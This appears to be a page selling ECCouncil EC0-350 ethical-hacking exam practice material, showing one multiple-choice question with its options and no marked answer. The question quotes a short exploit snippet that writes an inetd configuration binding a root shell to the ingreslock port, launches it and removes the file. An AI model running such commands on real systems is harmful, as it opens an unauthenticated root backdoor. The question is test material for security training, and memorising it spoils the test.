Study the following exploit code taken from a Linux machine and answer the questions below:echo...

ECCouncil EC0-350 Question Answer

Study the following exploit code taken from a Linux machine and answer the questions below:

echo “ingreslock stream tcp nowait root /bin/sh sh –I" > /tmp/x;

/usr/sbin/inetd –s /tmp/x;

sleep 10;

/bin/ rm –f /tmp/x AAAA…AAA

In the above exploit code, the command “/bin/sh sh –I" is given.

What is the purpose, and why is ‘sh’ shown twice?

The command /bin/sh sh –i appearing in the exploit code is actually part of an inetd configuration file.

The length of such a buffer overflow exploit makes it prohibitive for user to enter manually.

The second ‘sh’ automates this function.

It checks for the presence of a codeword (setting the environment variable) among the environment variables.

It is a giveaway by the attacker that he is a script kiddy.

ECCouncil EC0-350 Summary

Price: $52.5 ~~$149.99~~